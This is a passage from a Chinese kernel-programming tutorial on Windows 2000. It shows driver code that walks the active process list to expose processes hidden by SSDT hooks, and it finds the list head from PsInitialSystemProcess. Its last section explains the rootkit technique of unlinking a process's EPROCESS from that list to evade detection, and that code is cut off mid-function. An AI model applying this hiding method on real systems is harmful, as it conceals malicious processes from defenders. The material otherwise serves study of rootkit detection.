illist(&psactiveprocesshead,&process->activeprocesslinks);
当进程结束的时候,该进程的eprocess结构当从活动进程链上摘除。(但是eprocess结构不一定就马上释放)。
在pspexitprocess内核api中能清晰的找到:
removeentrylist(&process->activeprocesslinks);
所以我们完全可以利用活动进程链表来对进程进行枚举。
4. 进程枚举检测hook ssdt隐藏的进程。
事实上nactive api zwquerysysteminformation 对进程查询也是找到活动进程链表头,然后遍历活动进程链。最后把每一个eprocess中包含的基本信息返回(包括进程id名字等)。所以用遍历活动进程链表的办法能有效的把hook ssdt进行隐藏的进程轻而易举的查出来。但是psactiveprocesshead并没被ntoskrnl.exe 导出来,所以我们可以利用硬编码的办法,来解决这个问题。利用内核调试器livekd查得psactiveprocesshead的地址为: 0x8046e460.(在2000 sp4中得到的值)
kd> dd psactiveprocesshead l 2
dd psactiveprocesshead l 2
8046e460 81829780 ff2f4c80
plist_entry psactiveprocesshead = (plist_entry)0x8046e460;
void displaylist()
{
plist_entry list = psactiveprocesshead->blink;
while( list != psactiveprocesshead )
{
char* name = ((char*)list-0xa0)+0x1fc;
dbgprint("name = %s\n",name);
list=list->blink;
}
}
首先把list指向表头后的第一个元素。然后减去0xa0,因为这个时候list指向的并不是eprocess块的头,而是指向的它的activeprocesslinks成员结构,而activeprocesslinks在eprocess中的偏移量是0xa0,所以需要减去这么多,得到eprocess的头部。在eprocess偏移0x1fc处是进程的名字信息,所以再加上0x1fc得到进程名字,并且在dbgview中打印出来。利用hook ssdt隐藏的进程很容易就被查出来了。
5. 解决硬编码问题。
在上面我们的psactiveprocesshead是通过硬编码的形式得到的,在不同的系统中这值不一样。在不同的sp版本中这个值一般也不一样。这就给程序的通用性带来了很大的问题。下面就来解决这个psactiveprocesshead的硬编码的问题。
ntoskrnl.exe导出的psinitialsystemprocess 是一个指向system进程的eprocess。这个结构成员eprocess.activeprocesslinks.blink就是指向psactiveprocesshead的.
kd> dd psinitialsystemprocess l 1
dd psinitialsystemprocess l 1
8046e450 818296e0
kd> !process 818296e0 0
!process 818296e0 0
process 818296e0 sessionid: 0 cid: 0008 peb: 00000000 parentcid: 0000
dirbase: 00030000 objecttable: 8185d148 tablesize: 141.
image: system
可以看出由psinitialsystemprocess得到的818296e0正是指向system的eprocess.
kd> dd 818296e0+0xa0 l 2
dd 818296e0+0xa0 l 2
81829780 814d1a00 8046e460
上面又可以看出system eprocess的activeprocesslinks域的blink指向8046e460正好就是我们的psactiveprocesshead.
6. 删除活动进程链表实现进程隐藏
由于windows是基于线程调度的。所以如果我们把要隐藏的进程的eprocess块从活动进程链上摘除,就能有效的绕过基于通过活动进程链表检测进程的防御系统。因为是以线程为基本单位进行调度,所以摘除过后并不影响隐藏进程的线程调度。
void delprocesslist()
{
plist_entry list = psactiveprocesshead->blink;
while( list != psactiveprocesshead )
{
char* name = ((char*)list-0xa0)+0x1fc;
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >>